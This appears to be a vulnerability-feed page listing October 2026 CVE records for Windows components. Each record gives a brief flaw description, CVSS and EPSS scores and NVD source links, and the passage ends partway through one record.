https://kevwire.com/record/CVE-2026-83777
Heap-based buffer overflow in Windows Bluetooth Service allows an unauthorized attacker to elevate privileges over an adjacent network. (Oct 13, 2026).
Heap-based buffer overflow in Windows Bluetooth Service allows an unauthorized attacker to elevate privileges over an adjacent network.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83777).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83777&date=2026-10-25).
Sources:
NVD CVE-2026-83777: https://nvd.nist.gov/vuln/detail/CVE-2026-83777
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83777&date=2026-10-25
Heap-based buffer overflow in Windows Bluetooth Service allows an unauthorized attacker to elevate privileges over an adjacent network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Installer allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83775
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Installer allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Installer allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83775).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83775&date=2026-10-25).
Sources:
NVD CVE-2026-83775: https://nvd.nist.gov/vuln/detail/CVE-2026-83775
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83775&date=2026-10-25
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Installer allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Text Shaping allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-83770
Heap-based buffer overflow in Windows Text Shaping allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Windows Text Shaping allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83770).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83770&date=2026-10-25).
Sources:
NVD CVE-2026-83770: https://nvd.nist.gov/vuln/detail/CVE-2026-83770
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83770&date=2026-10-25
Heap-based buffer overflow in Windows Text Shaping allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in OpenSSH for Windows allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83769
Use after free in OpenSSH for Windows allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in OpenSSH for Windows allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83769).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83769&date=2026-10-25).
Sources:
NVD CVE-2026-83769: https://nvd.nist.gov/vuln/detail/CVE-2026-83769
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83769&date=2026-10-25
Use after free in OpenSSH for Windows allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Stack-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83767
Stack-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Stack-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83767).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83767&date=2026-10-25).
Sources:
NVD CVE-2026-83767: https://nvd.nist.gov/vuln/detail/CVE-2026-83767
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83767&date=2026-10-25
Stack-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Access of resource using incompatible type ('type confusion') in Windows Input System allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83763
Access of resource using incompatible type ('type confusion') in Windows Input System allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Access of resource using incompatible type ('type confusion') in Windows Input System allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83763).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83763&date=2026-10-25).
Sources:
NVD CVE-2026-83763: https://nvd.nist.gov/vuln/detail/CVE-2026-83763
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83763&date=2026-10-25
Access of resource using incompatible type ('type confusion') in Windows Input System allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Win32K allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83762
Use after free in Windows Win32K allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Win32K allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83762).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83762&date=2026-10-25).
Sources:
NVD CVE-2026-83762: https://nvd.nist.gov/vuln/detail/CVE-2026-83762
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83762&date=2026-10-25
Use after free in Windows Win32K allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper control of generation of code ('code injection') in Windows Encrypting File System (EFS) allows an authorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-83759
Improper control of generation of code ('code injection') in Windows Encrypting File System (EFS) allows an authorized attacker to execute code over a network. (Oct 13, 2026).
Improper control of generation of code ('code injection') in Windows Encrypting File System (EFS) allows an authorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83759).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83759&date=2026-10-25).
Sources:
NVD CVE-2026-83759: https://nvd.nist.gov/vuln/detail/CVE-2026-83759
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83759&date=2026-10-25
Improper control of generation of code ('code injection') in Windows Encrypting File System (EFS) allows an authorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Error Reporting allows an authorized attacker to execute code locally.
https://kevwire.com/record/CVE-2026-83758
Heap-based buffer overflow in Windows Error Reporting allows an authorized attacker to execute code locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Error Reporting allows an authorized attacker to execute code locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83758).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83758&date=2026-10-25).
Sources:
NVD CVE-2026-83758: https://nvd.nist.gov/vuln/detail/CVE-2026-83758
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83758&date=2026-10-25
Heap-based buffer overflow in Windows Error Reporting allows an authorized attacker to execute code locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in OpenSSH for Windows allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-83754
Heap-based buffer overflow in OpenSSH for Windows allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in OpenSSH for Windows allows an unauthorized attacker to execute code over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83754).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83754&date=2026-10-25).
Sources:
NVD CVE-2026-83754: https://nvd.nist.gov/vuln/detail/CVE-2026-83754
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83754&date=2026-10-25
Heap-based buffer overflow in OpenSSH for Windows allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Camera Frame Server Monitor allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83753
Heap-based buffer overflow in Windows Camera Frame Server Monitor allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Camera Frame Server Monitor allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83753).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83753&date=2026-10-25).
Sources:
NVD CVE-2026-83753: https://nvd.nist.gov/vuln/detail/CVE-2026-83753
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83753&date=2026-10-25
Heap-based buffer overflow in Windows Camera Frame Server Monitor allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83752
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83752).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83752&date=2026-10-25).
Sources:
NVD CVE-2026-83752: https://nvd.nist.gov/vuln/detail/CVE-2026-83752
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83752&date=2026-10-25
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Time-of-check time-of-use (toctou) race condition in Windows Error Reporting allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83750
Time-of-check time-of-use (toctou) race condition in Windows Error Reporting allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Time-of-check time-of-use (toctou) race condition in Windows Error Reporting allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83750).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83750&date=2026-10-25).
Sources:
NVD CVE-2026-83750: https://nvd.nist.gov/vuln/detail/CVE-2026-83750
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83750&date=2026-10-25
Time-of-check time-of-use (toctou) race condition in Windows Error Reporting allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83749
Use after free in Windows Overlay Filter allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83749).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83749&date=2026-10-25).
Sources:
NVD CVE-2026-83749: https://nvd.nist.gov/vuln/detail/CVE-2026-83749
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83749&date=2026-10-25
Use after free in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Error Reporting allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-83748
Heap-based buffer overflow in Windows Error Reporting allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Windows Error Reporting allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83748).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83748&date=2026-10-25).
Sources:
NVD CVE-2026-83748: https://nvd.nist.gov/vuln/detail/CVE-2026-83748
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83748&date=2026-10-25
Heap-based buffer overflow in Windows Error Reporting allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Internet Explorer allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83741
Use after free in Internet Explorer allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Internet Explorer allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83741).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83741&date=2026-10-25).
Sources:
NVD CVE-2026-83741: https://nvd.nist.gov/vuln/detail/CVE-2026-83741
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83741&date=2026-10-25
Use after free in Internet Explorer allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Hello allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83740
Use after free in Windows Hello allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Hello allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83740).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83740&date=2026-10-25).
Sources:
NVD CVE-2026-83740: https://nvd.nist.gov/vuln/detail/CVE-2026-83740
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83740&date=2026-10-25
Use after free in Windows Hello allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Bluetooth Service allows an unauthorized attacker to execute code over an adjacent network.
https://kevwire.com/record/CVE-2026-83739
Use after free in Windows Bluetooth Service allows an unauthorized attacker to execute code over an adjacent network. (Oct 13, 2026).
Use after free in Windows Bluetooth Service allows an unauthorized attacker to execute code over an adjacent network.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83739).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83739&date=2026-10-25).
Sources:
NVD CVE-2026-83739: https://nvd.nist.gov/vuln/detail/CVE-2026-83739
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83739&date=2026-10-25
Use after free in Windows Bluetooth Service allows an unauthorized attacker to execute code over an adjacent network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83738
Use after free in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83738).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83738&date=2026-10-25).
Sources:
NVD CVE-2026-83738: https://nvd.nist.gov/vuln/detail/CVE-2026-83738
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83738&date=2026-10-25
Use after free in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Win32K allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83732
Use after free in Windows Win32K allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Win32K allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83732).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83732&date=2026-10-25).
Sources:
NVD CVE-2026-83732: https://nvd.nist.gov/vuln/detail/CVE-2026-83732
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83732&date=2026-10-25
Use after free in Windows Win32K allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper validation of syntactic correctness of input in Windows Hyper-V allows an authorized attacker to perform spoofing locally.
https://kevwire.com/record/CVE-2026-83728
Improper validation of syntactic correctness of input in Windows Hyper-V allows an authorized attacker to perform spoofing locally. (Oct 13, 2026).
Improper validation of syntactic correctness of input in Windows Hyper-V allows an authorized attacker to perform spoofing locally.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83728).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83728&date=2026-10-25).
Sources:
NVD CVE-2026-83728: https://nvd.nist.gov/vuln/detail/CVE-2026-83728
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83728&date=2026-10-25
Improper validation of syntactic correctness of input in Windows Hyper-V allows an authorized attacker to perform spoofing locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Buffer over-read in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83727
Buffer over-read in Windows Overlay Filter allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Buffer over-read in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83727).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83727&date=2026-10-25).
Sources:
NVD CVE-2026-83727: https://nvd.nist.gov/vuln/detail/CVE-2026-83727
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83727&date=2026-10-25
Buffer over-read in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83726
Use after free in Windows DWM Core Library allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83726).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83726&date=2026-10-25).
Sources:
NVD CVE-2026-83726: https://nvd.nist.gov/vuln/detail/CVE-2026-83726
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83726&date=2026-10-25
Use after free in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Windows Search Component allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-83725
Heap-based buffer overflow in Microsoft Windows Search Component allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Windows Search Component allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83725).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83725&date=2026-10-25).
Sources:
NVD CVE-2026-83725: https://nvd.nist.gov/vuln/detail/CVE-2026-83725
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83725&date=2026-10-25
Heap-based buffer overflow in Microsoft Windows Search Component allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Management Instrumentation allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83724
Heap-based buffer overflow in Windows Management Instrumentation allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Management Instrumentation allows an authorized attacker to elevate privileges locally.
